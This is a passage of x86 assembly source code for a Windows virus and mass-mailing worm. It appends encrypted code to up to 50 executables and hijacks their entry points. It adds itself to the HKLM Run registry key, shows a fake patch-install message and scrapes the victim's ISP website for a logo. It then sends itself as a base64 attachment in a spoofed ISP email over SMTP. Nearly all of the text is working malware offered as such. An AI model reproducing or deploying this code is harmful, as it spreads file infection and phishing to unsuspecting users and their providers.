GetSystemDirectoryA pushptr szSystemDirectory ApiCall CharUpperA pushptr szCurrentDirectory push 256 ApiCall GetCurrentDirectoryA pushptr szCurrentDirectory ApiCall CharUpperA pushptr szSystemDirectory pushptr szCurrentDirectory ApiCall lstrcmpA cmp eax, 0 je findNextFile ; infect the file push esi lea esi, [ebp+win32FindData.FullFileName] call AttachCode pop esi cmp eax, -1 je findNextFile ; increment the file infection counter inc esi cmp esi, 50 ; infect 50 files jne findNextFile ; if 50 files have been infected stop searching mov esp, edi jmp searchComplete findNextFile: pushptr win32FindData pushval hFind ApiCall FindNextFileA ; find the next file jmp checkType upDirectory: pushptr win32FindData.FullFileName ApiCall SetCurrentDirectoryA cmp eax, 0 je findNextFile pushval hFind ; save the find handle jmp findFirstFile downDirectory: pushptr szBackDir ApiCall SetCurrentDirectoryA pushval hFind ApiCall FindClose ; close the find handle pop [ebp+hFind] ; restore the previous find handle cmp [ebp+hFind], 0BAADF00Dh ; no more files left to find? jne findNextFile mov esp, edi ; restore the stack pointer jmp nextDrive ; find another drive to infect searchComplete: ;-------------------------------------------------------------------------------------------------; ; Make it so the last infected file runs on start-up. ; ;-------------------------------------------------------------------------------------------------; ; copy the current path to a buffer pushptr szCurrentDirectory pushptr szModuleName ApiCall lstrcpyA ; append a slash pushptr szSlash pushptr szModuleName ApiCall lstrcatA ; append the executable file name pushptr win32FindData.FullFileName pushptr szModuleName ApiCall lstrcatA ; concat the commandline parameter /iKX to the key value pushptr szIkxParameter pushptr szModuleName ApiCall lstrcatA ; open "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" pushptr hKey pushptr szSubKey push HKEY_LOCAL_MACHINE ApiCall RegOpenKeyA cmp eax, 0 jne exitThread ; get the length of the module name pushptr szModuleName ApiCall lstrlenA ; set the start-up program push eax pushptr szModuleName push REG_SZ push 0 pushptr szValueName pushval hKey ApiCall RegSetValueExA ; close the key pushval hKey ApiCall RegCloseKey ;-------------------------------------------------------------------------------------------------; ; Display the patch install message if the module name is "patch110.exe" ; ;-------------------------------------------------------------------------------------------------; ; get the path and name of this program push 256 pushptr szModuleName push 0 ApiCall GetModuleFileNameA ; seek to a dot lea edi, [ebp+szModuleName] mov al, '.' mov ecx, 256 repne scasb ; seek backwards to a slash std mov al, '\' repne scasb cld add edi, 2 ; compair the filename to "patch110.exe" mov ecx, 12 lea esi, [ebp+szPatchName] rep cmpsb cmp ecx, 0 jne payload ; display the patch install message push 0 pushptr szPatchTitle pushptr szPatchInstall push 0 ApiCall MessageBoxA ;-------------------------------------------------------------------------------------------------; ; Display a poem by John Keats on the day of his death. ; ;-------------------------------------------------------------------------------------------------; payload: ; get today's date pushptr date ApiCall GetSystemTime ; Feb 23? cmp [ebp+date.wMonth], 2 jne loadImports cmp word ptr [ebp+date.wDay], 24 jne loadImports ; display poem push 0 pushptr szTitle pushptr szElginMarbles push 0 ApiCall MessageBoxA ;-------------------------------------------------------------------------------------------------; ; Load the Windows 2k Imports. ; ;-------------------------------------------------------------------------------------------------; loadImports: ; Windows 2k+ OS? ApiCall GetVersion cmp al, 5 jl exitThread ; load the Windows 2k API functions lea eax, [ebp+API_Imports_2k] call LoadImports cmp eax, -1 je exitThread ; internet connection? push 0 pushptr dwConnectionState ApiCall InternetGetConnectedState cmp eax, FALSE je exitThread ;-------------------------------------------------------------------------------------------------; ; Get the IP address of this computer. ; ;-------------------------------------------------------------------------------------------------; ; initialize winsock pushptr wsaData push 0101h ApiCall WSAStartup cmp eax, 0 jne exitThread ; get the local host name of this computer push 132 pushptr szHostName ApiCall gethostname cmp eax, 0 jne exitThread ; clear the reverse IP buffer push 29 pushptr szReverseIP ApiCall RtlZeroMemory ; get the IP address of the local host pushptr szHostName ApiCall gethostbyname cmp eax, 0 je exitThread mov eax, [eax+12] mov eax, [eax] mov eax, [eax] ;-------------------------------------------------------------------------------------------------; ; Get the host name of this computer. ; ;-------------------------------------------------------------------------------------------------; getHostName: bswap eax ; reverse the byte order of the IP ; convert the IP address to a string push eax ApiCall inet_ntoa ; copy the reverse IP string to the buffer push eax pushptr szReverseIP ApiCall lstrcpyA ; concat the .in-addr.arpa string pushptr szArpa pushptr szReverseIP ApiCall lstrcatA ; query a DNS server for the host name of this computer push 0 pushptr lpResults push 0 push DNS_QUERY_STANDARD push DNS_TYPE_PTR pushptr szReverseIP ApiCall DnsQuery_A cmp eax, 0 jne exitThread ; was an answer record found? push size DNS_RECORD pushval lpResults pushptr dnsRecordHeader ApiCall RtlMoveMemory mov eax, [ebp+dnsRecordHeader.flags] and al, 00000011b cmp al, DNSREC_ANSWER jne exitThread ; clear the szHostName buffer push 132 pushptr szHostName ApiCall RtlZeroMemory ; get the host name from the DNS response message mov eax, [ebp+lpResults] add eax, size DNS_RECORD mov eax, [eax] push eax pushptr szHostName ApiCall lstrcpyA ; release the DNS record list push DNS_FREE_RECORD_LIST_DEEP pushval lpResults ApiCall DnsRecordListFree ;-------------------------------------------------------------------------------------------------; ; Extract the ISP host name from this computers host name. ; ;-------------------------------------------------------------------------------------------------; ; seek to the end of the domain lea esi, [ebp+szHostName] push esi ApiCall lstrlenA add esi, eax ; seek backwards to a period or the start of domain findPeriod: dec esi lea eax, [ebp+szHostName] cmp esi, eax ; start of host name? je copyFullDomain cmp byte ptr [esi], '.' jne findPeriod mov ebx, esi ; compair domains lea edi, [ebp+topDomains] compairDomain: mov al, [ebx+1] mov ah, [edi] inc ebx inc edi cmp ax, 0 je findPeriod cmp ax, 002Eh je findPeriod cmp al, ah je compairDomain ; seek to the next domain in the list push edi ApiCall lstrlenA add edi, eax inc edi ; no more domains left? mov ebx, esi cmp byte ptr [edi], '$' jne compairDomain inc esi copyFullDomain: ; clear the szIspHostName buffer push 132 pushptr szIspDomainName ApiCall RtlZeroMemory ; copy the domain to a buffer push esi pushptr szIspDomainName ApiCall lstrcpyA ;-------------------------------------------------------------------------------------------------; ; Download the main webpage of the Internet Service Provider. ; ;-------------------------------------------------------------------------------------------------; ; allocate 64k for the webpage push 65536 push GMEM_FIXED ApiCall GlobalAlloc cmp eax, 0 je exitThread mov [ebp+lpWebpage], eax ; initialize wininet push 0 push 0 push 0 push 0 push 0 ApiCall InternetOpenA cmp eax, 0 je exitThread mov [ebp+hInternet], eax ; copy the domain to a buffer pushptr szWWW pushptr szIspWebpage ApiCall lstrcpyA ; concat the ISP domain pushptr szIspDomainName pushptr szIspWebpage ApiCall lstrcatA ; open the webpage URL openUrl: push 0 push 0 push 0 push 0 pushptr szIspWebpage pushval hInternet ApiCall InternetOpenUrlA cmp eax, 0 je exitThread mov [ebp+hFile], eax ; download the webpage mov edi, [ebp+lpWebpage] xor esi, esi downloadWebpage: pushptr dwNumberOfBytes push 65536 push edi pushval hFile ApiCall InternetReadFile add edi, [ebp+dwNumberOfBytes] add esi, [ebp+dwNumberOfBytes] cmp [ebp+dwNumberOfBytes], 0 jne downloadWebpage mov [ebp+dwWebpageSize], esi ; if the webpage size is greater then 500 bytes then find the logo cmp esi, 500 jg findLogoUrl ;-------------------------------------------------------------------------------------------------; ; Handle webpage redirections. ; ;-------------------------------------------------------------------------------------------------; ; find a URL in the webpage xor ecx, ecx mov edx, esi mov edi, [ebp+lpWebpage] lea esi, [ebp+szIspWebpage] findUrl: mov eax, [edi] and eax, 00FFFFFFh cmp eax, 2F2F3Ah je findUrlStart inc edi inc ecx cmp ecx, edx jne findUrl jmp exitThread ; find the start of the URL findUrlStart: cmp byte ptr [edi], '"' je copyUrl cmp byte ptr [edi], ' ' je copyUrl cmp byte ptr [edi], '=' je copyUrl cmp byte ptr [edi], '(' je copyUrl dec edi dec ecx cmp ecx, 0 jne findUrlStart jmp exitThread ; copy the URL to a buffer copyUrl: inc edi inc ecx mov al, [edi] mov [esi], al inc esi cmp ecx, edx je exitThread cmp al, '"' je copyComplete cmp al, ' ' je copyComplete cmp al, ')' je copyComplete jmp copyUrl ; zero terminate the URL and download the webpage copyComplete: mov byte ptr [esi-1], 0 jmp openUrl ;-------------------------------------------------------------------------------------------------; ; Find a logo image URL on the webpage. ; ;-------------------------------------------------------------------------------------------------; findLogoUrl: ; find the word "logo" xor ecx, ecx mov esi, [ebp+lpWebpage] lea edi, [ebp+szUrl] findLogo: mov eax, [esi] and eax, 0DFDFDFDFh cmp eax, 'OGOL' je findType cmp ecx, [ebp+dwWebpageSize] je exitThread inc esi inc ecx jmp findLogo ; find the file extension ".gif" or ".jpg" findType: mov eax, [esi] cmp al, ' ' je findLogo and eax, 0DFDFDFFFh cmp eax, 'FIG.' je findImgStart cmp eax, 'GPJ.' je findImgStart cmp ecx, [ebp+dwWebpageSize] je exitThread inc esi inc ecx jmp findType ; find the start of the image URL findImgStart: mov al, [esi] cmp al, ' ' je copyImage cmp al, '=' je copyImage cmp al, '(' je copyImage cmp al, '"' je copyImage cmp ecx, 0 je exitThread dec esi dec ecx jmp findImgStart ; copy the image URL to a buffer copyImage: inc esi mov al, [esi] mov [edi], al cmp al, ' ' je imageCopied cmp al, '"' je imageCopied cmp al, ')' je imageCopied cmp al, '>' je imageCopied cmp ecx, [ebp+dwWebpageSize] je exitThread inc ecx inc edi jmp copyImage imageCopied: mov byte ptr [edi], 0 ; only the image name specified in the URL? lea edi, [ebp+szUrl] mov ecx, 132 mov al, '/' repne scasb mov edx, 1 jecxz makeFullUrl ; only the image path/name specified in the URL? lea edi, [ebp+szUrl] mov ecx, 132 mov al, ':' repne scasb mov edx, 0 jecxz makeFullUrl ; copy the full URL to a buffer pushptr szUrl pushptr szLogoUrl ApiCall lstrcpyA jmp logoParseComplete ; create a complete URL containing a scheme, hostname and path. makeFullUrl: lea edi, [ebp+szIspWebpage] mov ecx, 132 mov al, '.' repne scasb mov eax, 132 sub eax, ecx mov ecx, eax findDomainEnd: inc ecx inc edi cmp ecx, 132 je exitThread mov al, [edi] cmp al, 0 je copyDomain cmp al, '/' je copyDomain jmp findDomainEnd copyDomain: lea edi, [ebp+szLogoUrl] lea esi, [ebp+szIspWebpage] rep movsb cmp edx, 0 je concatPath mov byte ptr [edi], '/' inc edi concatPath: pushptr szUrl push edi ApiCall lstrcpyA logoParseComplete: ;-------------------------------------------------------------------------------------------------; ; Get the company name of the ISP. ; ;-------------------------------------------------------------------------------------------------; ; copy the company name to a buffer lea edi, [ebp+szIspName] lea esi, [ebp+szIspDomainName] copyCompanyName: mov al, [esi] cmp al, '.' je companyNameCopied mov [edi], al inc esi inc edi jmp copyCompanyName companyNameCopied: mov byte ptr [edi], 0 ; make the first letter upper case lea edi, [ebp+szIspName] and byte ptr [edi], 0DFh ;-------------------------------------------------------------------------------------------------; ; Create a deadline date for the email message ; ;-------------------------------------------------------------------------------------------------; ; get today's date pushptr date ApiCall GetSystemTime ; set the dead line date mov [ebp+date.wDay], 1 inc [ebp+date.wMonth] cmp [ebp+date.wMonth], 13 jl convertDate mov [ebp+date.wMonth], 1 inc [ebp+date.wYear] ; convert the date to a string convertDate: push 25 pushptr szDeadLine pushptr szDateFormat pushptr date push 0 push 0 ApiCall GetDateFormatA ;-------------------------------------------------------------------------------------------------; ; Generate a username to send the email message to. ; ;-------------------------------------------------------------------------------------------------; xor si, si ; clear the email account buffer push 25 pushptr szEmailAccount ApiCall RtlZeroMemory ; generate a number from 0-1 ApiCall GetTickCount and ax, 8000h shr ax, 15 mov si, ax cmp ax, 0 je getName ; generate a number from 0-25 preLetter: ApiCall GetTickCount and ax, 7C00h shr ax, 10 cmp al, 26 jge preLetter add al, 'A' mov byte ptr [ebp+szEmailAccount], al ; generate a number from 0-1023 getName: ApiCall GetTickCount and ax, 3FFh xor ecx, ecx mov cx, ax ; find the name corrusponding to the number lea edi, [ebp+lastnames] jecxz displayName seekToName: push ecx mov ecx, 25 xor al, al repne scasb pop ecx loop seekToName displayName: push edi pushptr szEmailAccount ApiCall lstrcatA ; generate a trailing letter if specified cmp si, 1 je nameComplete postLetter: ApiCall GetTickCount and ax, 7C00h shr ax, 10 mov dl, al cmp dl, 26 jge postLetter add dl, 'A' xor al, al lea edi, [ebp+szEmailAccount] mov ecx, 25 repne scasb mov byte ptr [edi-1], dl nameComplete: ;-------------------------------------------------------------------------------------------------; ; Get a mail server name. ; ;-------------------------------------------------------------------------------------------------; ; query a DNS server for a list of the ISP's mail servers push 0 pushptr lpResults push 0 push DNS_QUERY_STANDARD push DNS_TYPE_MX pushptr szIspDomainName ApiCall DnsQuery_A cmp eax, 0 jne exitThread ; was an answer record found? push size DNS_RECORD pushval lpResults pushptr dnsRecordHeader ApiCall RtlMoveMemory mov eax, [ebp+dnsRecordHeader.flags] and al, 00000011b cmp al, DNSREC_ANSWER jne exitThread ; clear the szMailServer buffer push 132 pushptr szMailServer ApiCall RtlZeroMemory ; get the host name from the DNS response message mov eax, [ebp+lpResults] add eax, size DNS_RECORD mov eax, [eax] push eax pushptr szMailServer ApiCall lstrcpyA ; release the DNS record list push DNS_FREE_RECORD_LIST_DEEP pushval lpResults ApiCall DnsRecordListFree ;-------------------------------------------------------------------------------------------------; ; Create the email message. ; ;-------------------------------------------------------------------------------------------------; ; allocate 4k of memory for the email message push 4096 push GMEM_FIXED ApiCall GlobalAlloc cmp eax, 0 je exitThread mov [ebp+lpEmailMessage], eax ; clear the buffer push 4096 pushval lpEmailMessage ApiCall RtlZeroMemory ; concat part 1 of the email message pushptr szEmailPart1 pushval lpEmailMessage ApiCall lstrcatA ; concat the ISP domain name pushptr szIspDomainName pushval lpEmailMessage ApiCall lstrcatA ; concat part 2 of the email message pushptr szEmailPart2 pushval lpEmailMessage ApiCall lstrcatA ; concat the email account name pushptr szEmailAccount pushval lpEmailMessage ApiCall lstrcatA ; concat part 3 of the email message pushptr szEmailPart3 pushval lpEmailMessage ApiCall lstrcatA ; concat the ISP domain name pushptr szIspDomainName pushval lpEmailMessage ApiCall lstrcatA ; concat part 4 of the email message pushptr szEmailPart4 pushval lpEmailMessage ApiCall lstrcatA ; concat the ISP company name pushptr szIspName pushval lpEmailMessage ApiCall lstrcatA ; concat part 5 of the email message pushptr szEmailPart5 pushval lpEmailMessage ApiCall lstrcatA ; concat the logo URL pushptr szLogoUrl pushval lpEmailMessage ApiCall lstrcatA ; concat part 6 of the email message pushptr szEmailPart6 pushval lpEmailMessage ApiCall lstrcatA ; concat the ISP company name pushptr szIspName pushval lpEmailMessage ApiCall lstrcatA ; concat part 7 of the email message pushptr szEmailPart7 pushval lpEmailMessage ApiCall lstrcatA ; concat the ISP company name pushptr szIspName pushval lpEmailMessage ApiCall lstrcatA ; concat part 8 of the email message pushptr szEmailPart8 pushval lpEmailMessage ApiCall lstrcatA ; concat the ISP company name pushptr szIspName pushval lpEmailMessage ApiCall lstrcatA ; concat part 9 of the email message pushptr szEmailPart9 pushval lpEmailMessage ApiCall lstrcatA ; concat the ISP company name pushptr szIspName pushval lpEmailMessage ApiCall lstrcatA ; concat part 10 of the email message pushptr szEmailPart10 pushval lpEmailMessage ApiCall lstrcatA ; concat the ISP company name pushptr szIspName pushval lpEmailMessage ApiCall lstrcatA ; concat part 11 of the email message pushptr szEmailPart11 pushval lpEmailMessage ApiCall lstrcatA ; concat the dead line date pushptr szDeadLine pushval lpEmailMessage ApiCall lstrcatA ; concat part 12 of the email message pushptr szEmailPart12 pushval lpEmailMessage ApiCall lstrcatA ; concat the ISP company name pushptr szIspDomainName pushval lpEmailMessage ApiCall lstrcatA ; concat part 13 of the email message pushptr szEmailPart13 pushval lpEmailMessage ApiCall lstrcatA ; concat the ISP company name pushptr szIspDomainName pushval lpEmailMessage ApiCall lstrcatA ; concat part 14 of the email message pushptr szEmailPart14 pushval lpEmailMessage ApiCall lstrcatA ; get the year push 6 pushptr szYear pushptr szYearFormat push 0 push 0 push 0 ApiCall GetDateFormatA ; concat the year pushptr szYear pushval lpEmailMessage ApiCall lstrcatA ; concat part 15 of the email message pushptr szEmailPart15 pushval lpEmailMessage ApiCall lstrcatA ; concat the ISP company name pushptr szIspName pushval lpEmailMessage ApiCall lstrcatA ; concat part 16 of the email message pushptr szEmailPart16 pushval lpEmailMessage ApiCall lstrcatA ;-------------------------------------------------------------------------------------------------; ; Send the email message. ; ;-------------------------------------------------------------------------------------------------; ; connect to the mail server mov eax, 25 lea esi, [ebp+szMailServer] call ConnectToHost cmp eax, -1 je exitThread mov [ebp+hSock], eax ; set the timeout duration mov eax, 5000 mov esi, [ebp+hSock] lea edi, [ebp+dwTimeOut] call SetTimeOut ; get the server response push 0 push 256 pushptr szResponse pushval hSock ApiCall recv cmp eax, -1 je exitThread ; create the HELO command pushptr szHeloPart1 pushptr szCommand ApiCall lstrcpyA pushptr szIspDomainName pushptr szCommand ApiCall lstrcatA pushptr szHeloPart2 pushptr szCommand ApiCall lstrcatA ; send the HELO command pushptr szCommand ApiCall lstrlenA push 0 push eax pushptr szCommand pushval hSock ApiCall send cmp eax, -1 je exitThread ; recieve the server response push 0 push 256 pushptr szResponse pushval hSock ApiCall recv cmp eax, -1 je exitThread ; create the MAIL FROM command pushptr szMailFromPart1 pushptr szCommand ApiCall lstrcpyA pushptr szIspDomainName pushptr szCommand ApiCall lstrcatA pushptr szMailFromPart2 pushptr szCommand ApiCall lstrcatA ; send the MAIL FROM command pushptr szCommand ApiCall lstrlenA push 0 push eax pushptr szCommand pushval hSock ApiCall send cmp eax, -1 je exitThread ; recieve the server response push 0 push 256 pushptr szResponse pushval hSock ApiCall recv cmp eax, -1 je exitThread ; create the RCPT TO command pushptr szRcptToPart1 pushptr szCommand ApiCall lstrcpyA pushptr szEmailAccount pushptr szCommand ApiCall lstrcatA pushptr szRcptToPart2 pushptr szCommand ApiCall lstrcatA pushptr szIspDomainName pushptr szCommand ApiCall lstrcatA pushptr szRcptToPart3 pushptr szCommand ApiCall lstrcatA ; send the RCPT TO command pushptr szCommand ApiCall lstrlenA push 0 push eax pushptr szCommand pushval hSock ApiCall send cmp eax, -1 je exitThread ; recieve the server response push 0 push 256 pushptr szResponse pushval hSock ApiCall recv cmp eax, -1 je exitThread ; create the DATA command pushptr szData pushptr szCommand ApiCall lstrcpyA ; send the DATA command pushptr szCommand ApiCall lstrlenA push 0 push eax pushptr szCommand pushval hSock ApiCall send cmp eax, -1 je exitThread ; recieve the server response push 0 push 256 pushptr szResponse pushval hSock ApiCall recv cmp eax, -1 je exitThread ; send the email message mov edi, [ebp+lpEmailMessage] sendMessage: push 0 push 1 push edi pushval hSock ApiCall send cmp eax, -1 je exitThread inc edi cmp byte ptr [edi], 0 jne sendMessage ;-------------------------------------------------------------------------------------------------; ; Send the file attachment. ; ;-------------------------------------------------------------------------------------------------; ; get the path and name of this program push 256 pushptr szModuleName push 0 ApiCall GetModuleFileNameA ; open this program push 0 push 0 push OPEN_EXISTING push 0 push FILE_SHARE_READ push GENERIC_READ pushptr szModuleName ApiCall CreateFileA cmp eax, -1 je exitThread mov [ebp+hFile], eax ; get the size of the file push 0 pushval hFile ApiCall GetFileSize cmp eax, -1 je exitThread ; calculate the number of 3 byte base64 groups xor edx, edx mov ebx, 3 div ebx mov ecx, eax ; send the base64 encoded file data sendAttachment: push edx push ecx ; read 3 bytes push 0 pushptr dwNumberOfBytes push 3 pushptr threeBytes pushval hFile ApiCall ReadFile ; base64 encode the three bytes mov ecx, 3 lea esi, [ebp+threeBytes] lea edi, [ebp+fourBytes] call Base64Encode ; send the four base64 encoded bytes push 0 push 4 pushptr fourBytes pushval hSock ApiCall send cmp eax, -1 je exitThread pop ecx pop edx loop sendAttachment ; get the remaining bytes push edx push 0 pushptr dwNumberOfBytes push edx pushptr threeBytes pushval hFile ApiCall ReadFile pop edx ; base64 encode the remaining bytes push edx mov ecx, edx lea esi, [ebp+threeBytes] lea edi, [ebp+fourBytes] call Base64Encode pop edx ; send the remaining bytes push 0 push 4 pushptr fourBytes pushval hSock ApiCall send cmp eax, -1 je exitThread ;-------------------------------------------------------------------------------------------------; ; send the final part of the email message. ; ;-------------------------------------------------------------------------------------------------; ; send the last part of the email message pushptr szEmailPart17 ApiCall lstrlenA push 0 push eax pushptr szEmailPart17 pushval hSock ApiCall send cmp eax, -1 je exitThread ; recieve the server response push 0 push 256 pushptr szResponse pushval hSock ApiCall recv cmp eax, -1 je exitThread ;-------------------------------------------------------------------------------------------------; ; Clean up ;-------------------------------------------------------------------------------------------------; ; free the webpage buffer pushptr lpWebpage ApiCall GlobalFree ; free the email message buffer pushptr lpEmailMessage ApiCall GlobalFree ; close wininet pushval hInternet ApiCall InternetCloseHandle ; close winsock ApiCall WSACleanup ;-------------------------------------------------------------------------------------------------; ; Exit thread. ; ;-------------------------------------------------------------------------------------------------; exitThread: ; set the thread status mov [ebp+dwThreadStatus], EXIT_THREAD ; exit the thread ApiCall GetCurrentThread lea ebx, [ebp+dwExitCode] push ebx push eax ApiCall GetExitCodeThread pushval dwExitCode ApiCall ExitThread ;-------------------------------------------------------------------------------------------------; ; Function(s) ; ;-------------------------------------------------------------------------------------------------; Base64Encode PROC ; ; Description: ; Base64 encodes a group of bytes. ; ; Parameters: ; ecx = Number of bytes to encode. ; esi = pointer to a buffer that needs encoding. ; edi = pointer to a buffer that will recieve the encoded data. ; ; Return Values: ; None. ; cmp ecx, 3 jl @@pad ; no groups of 3 to convert? xor edx, edx mov eax, ecx mov ebx, 3 div ebx ; edx = number of padded bytes mov ecx, eax @@base64: ; encode groups of 3 bytes to base64 lodsd dec esi bswap eax push ecx mov ecx, 4 @@encode3: rol eax, 6 push eax and eax, 3fh mov al, [ebp+@@charset+eax] ; get the base64 character stosb pop eax loop @@encode3 pop ecx loop @@base64 mov ecx, edx cmp edx, 3 jg @@return @@pad: ; pad any additional bytes inc ecx mov dword ptr [edi], '====' mov eax, [esi] bswap eax @@l1: rol eax, 6 push eax and eax, 3fh mov al, [ebp+@@charset+eax] stosb pop eax loop @@l1 @@return: ret @@charset DB 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/', 0 Base64Encode ENDP SetTimeOut PROC ; ; Description: ; Sets the timeout duration for sending and recieving data. ; ; Parameters: ; esi = socket handle. ; edi = pointer to a DWORD. ; eax = timeout duration. ; ; Return Values: ; None. ; ; set the timeout duration mov [edi], eax ; set the timeout for recieving data push 4 push edi push SO_RCVTIMEO push SOL_SOCKET push esi ApiCall setsockopt ; set the timeout for sending data push 4 push edi push SO_SNDTIMEO push SOL_SOCKET push esi ApiCall setsockopt ret SetTimeOut ENDP LoadImports PROC ; ; Description: ; Loads a series a dll's and the addresses of the specified functions. ; ; Parameters: ; eax = pointer to an import table. ; ; Return Values: ; If the function is successful the return value is 0. If the function fails ; the return value is -1. ; mov edi, eax @@loadLibrary: push edi ApiCall LoadLibraryA ; load the dll cmp eax, 0 je apiLoadError mov esi, eax xor al, al mov ecx, 100 repne scasb ; find the dll pointer @@loadFunctions: push edi push esi ApiCall GetProcAddress ; get function address cmp eax, 0 je apiLoadError mov ebx, eax xor al, al mov ecx, 100 repne scasb ; find function pointer mov [edi], ebx ; save the function address add edi, 4 cmp byte ptr [edi], 0 ; end of function list? jne @@loadFunctions inc edi cmp byte ptr [edi], '$' ; end of import list? jne @@loadLibrary xor eax, eax ret @@apiLoadError: mov eax, -1 ret LoadImports ENDP ConnectToHost PROC ; ; Description: ; Connects to a host. ; ; Parameters: ; eax = port. ; esi = pointer to a zero terminated host name. ; ; Return Values: ; If the function is successful the return value is the socket handle. If the function fails ; the return value is -1. ; ; fill the SOCK_ADDRESS structure mov [ebp+sockAddress.sin_family], AF_INET push eax ApiCall htons mov [ebp+sockAddress.sin_port], ax push esi ApiCall gethostbyname cmp eax, 0 je @@connectionFailed mov eax, [eax+12] mov eax, [eax] mov eax, [eax] mov [ebp+sockAddress.sin_addr], eax ; Create a socket push PCL_NONE push SOCK_STREAM push AF_INET ApiCall socket mov esi, eax cmp eax, -1 je @@connectionFailed ; connect to host push 16 pushptr sockAddress push esi ApiCall connect cmp eax, 0 jne @@connectionFailed mov eax, esi ret @@connectionFailed: mov eax, -1 ret ConnectToHost ENDP IsValid PROC ; ; Description: ; Checks to see if the file is a valid win32 exe and is not already infected. ; ; Parameters: ; esi = Pointer to filename. ; ; Return Values: ; If the function is successful the return value is 0. If the function fails the return ; value is -1. ; ; open the file push 0 push 0 push OPEN_EXISTING push 0 push FILE_SHARE_WRITE OR FILE_SHARE_READ push GENERIC_WRITE OR GENERIC_READ push esi ApiCall CreateFileA cmp eax, -1 je @@notValid mov [ebp+hFile], eax ; read the DOS header into memory push 0 pushptr dwNumberOfBytes push size DOS_HEADER pushptr dosHeader pushval hFile ApiCall ReadFile cmp word ptr [ebp+dosHeader.wSignature], 'ZM' jne @@notValid ; seek to the PE header push FILE_BEGIN push 0 pushval dosHeader.lpPEHeader pushval hFile ApiCall SetFilePointer ; read the PE header into memory push 0 pushptr dwNumberOfBytes push size PE_HEADER pushptr peHeader pushval hFile ApiCall ReadFile ; is it a win32 exe file? cmp word ptr [ebp+peHeader.dwSignature], 'EP' jne @@notValid ; calculate the location of the last section header xor edx, edx xor eax, eax mov ax, [ebp+peHeader.wNumberOfSections] dec eax mov ebx, size SECTION_HEADER mul ebx add eax, [ebp+dosHeader.lpPEHeader] add eax, size PE_HEADER mov [ebp+lpLastSectionHeader], eax ; seek to the last section header push FILE_BEGIN push 0 pushval lpLastSectionHeader pushval hFile ApiCall SetFilePointer ; read the last section header into memory push 0 pushptr dwNumberOfBytes push size SECTION_HEADER pushptr sectionHeader pushval hFile ApiCall ReadFile ; code already attached? cmp dword ptr [ebp+sectionHeader.dwCharacteristics], SECTION_RWE je @@notValid @@isValid: pushval hFile ApiCall CloseHandle xor eax, eax ret @@notValid: pushval hFile ApiCall CloseHandle mov eax, -1 ret IsValid ENDP AttachCode PROC ; ; Description: ; Infects a win32 exe with this program. ; ; Parameters: ; esi = Pointer to filename. ; ; Return Values: ; If the function is successful the return value is 0. If the function fails the return ; value is -1. ; ; save the return address for this instance push [ebp+lpReturnAddress] ; open the file push 0 push 0 push OPEN_EXISTING push 0 push FILE_SHARE_WRITE OR FILE_SHARE_READ push GENERIC_WRITE OR GENERIC_READ push esi ApiCall CreateFileA cmp eax, -1 je @@attachFailure mov [ebp+hFile], eax ; read the DOS header into memory push 0 pushptr dwNumberOfBytes push size DOS_HEADER pushptr dosHeader pushval hFile ApiCall ReadFile ; seek to the PE header push FILE_BEGIN push 0 pushval dosHeader.lpPEHeader pushval hFile ApiCall SetFilePointer ; read the PE header into memory push 0 pushptr dwNumberOfBytes push size PE_HEADER pushptr peHeader pushval hFile ApiCall ReadFile ; update the image size add dword ptr [ebp+peHeader.dwSizeOfImage], ((CODE_SIZE + (1000h - 1)) AND 0FFFFF000h) ; use the program entry point as a return address mov eax, [ebp+peHeader.dwAddressOfEntryPoint] mov [ebp+lpReturnAddress], eax ; calculate the location of the last section header xor edx, edx xor eax, eax mov ax, [ebp+peHeader.wNumberOfSections] dec eax mov ebx, size SECTION_HEADER mul ebx add eax, [ebp+dosHeader.lpPEHeader] add eax, size PE_HEADER mov [ebp+lpLastSectionHeader], eax ; seek to the last section header push FILE_BEGIN push 0 pushval lpLastSectionHeader pushval hFile ApiCall SetFilePointer ; read the last section header into memory push 0 pushptr dwNumberOfBytes push size SECTION_HEADER pushptr sectionHeader pushval hFile ApiCall ReadFile ; point the program entry point to this code mov eax, [ebp+sectionHeader.dwVirtualAddress] add eax, [ebp+sectionHeader.dwSizeOfRawData] mov [ebp+peHeader.dwAddressOfEntryPoint], eax ; calculate the location in the file where the code should go mov eax, [ebp+sectionHeader.dwPointerToRawData] add eax, [ebp+sectionHeader.dwSizeOfRawData] mov [ebp+lpCode], eax ; seek to that location push FILE_BEGIN push 0 pushval lpCode pushval hFile ApiCall SetFilePointer ; write the decryption code to the file push 0 pushptr dwNumberOfBytes push (offset encrypted - offset main) pushval lpStartOfCode pushval hFile ApiCall WriteFile ; write the encrypted code to the file mov ecx, CODE_SIZE - (offset encrypted - offset main) xor esi, esi encrypt: push ecx mov al, byte ptr [ebp+esi+encrypted] xor al, 123 mov [ebp+cByte], al push 0 pushptr dwNumberOfBytes push 1 pushptr cByte pushval hFile ApiCall WriteFile inc esi pop ecx loop encrypt ; update the virtual size of the section add [ebp+sectionHeader.dwVirtualSize], ((CODE_SIZE + (1000h - 1)) AND 0FFFFF000h) ; update the size of raw data add [ebp+sectionHeader.dwSizeOfRawData], ((CODE_SIZE + (200h - 1)) AND 0FFFFFE00h) ; make the section readable/writable/executable mov [ebp+sectionHeader.dwCharacteristics], SECTION_RWE ; seek to the last section header push FILE_BEGIN push 0 pushval lpLastSectionHeader pushval hFile ApiCall SetFilePointer ; write the updated section header back to the file push 0 pushptr dwNumberOfBytes push size SECTION_HEADER pushptr sectionHeader pushval hFile ApiCall WriteFile ; seek to the PE Header push FILE_BEGIN push 0 pushval dosHeader.lpPEHeader pushval hFile ApiCall SetFilePointer ; write the updated PE header back to the file push 0 pushptr dwNumberOfBytes push size PE_HEADER pushptr peHeader pushval hFile ApiCall WriteFile ; update the file size to a multiple of 4096 push FILE_END push 0 push 0 pushval hFile ApiCall SetFilePointer mov ebx, eax add eax, (1000h - 1) and eax, 0FFFFF000h sub eax, ebx mov ecx, eax @@zeroFill: jecxz @@attachSuccess push ecx push 0 pushptr dwNumberOfBytes push 1 pushptr cZero pushval hFile ApiCall WriteFile pop ecx dec ecx jmp @@zeroFill @@attachSuccess: ; restore the return address pop [ebp+lpReturnAddress] ; close the file handle pushval hFile ApiCall CloseHandle ; return success code xor eax, eax ret @@attachFailure: ; restore the return address pop [ebp+lpReturnAddress] ; return failure code mov eax, -1 ret AttachCode ENDP ;-------------------------------------------------------------------------------------------------; ; Data Section ; ;-------------------------------------------------------------------------------------------------; ; >:) im so evil, so so evil... 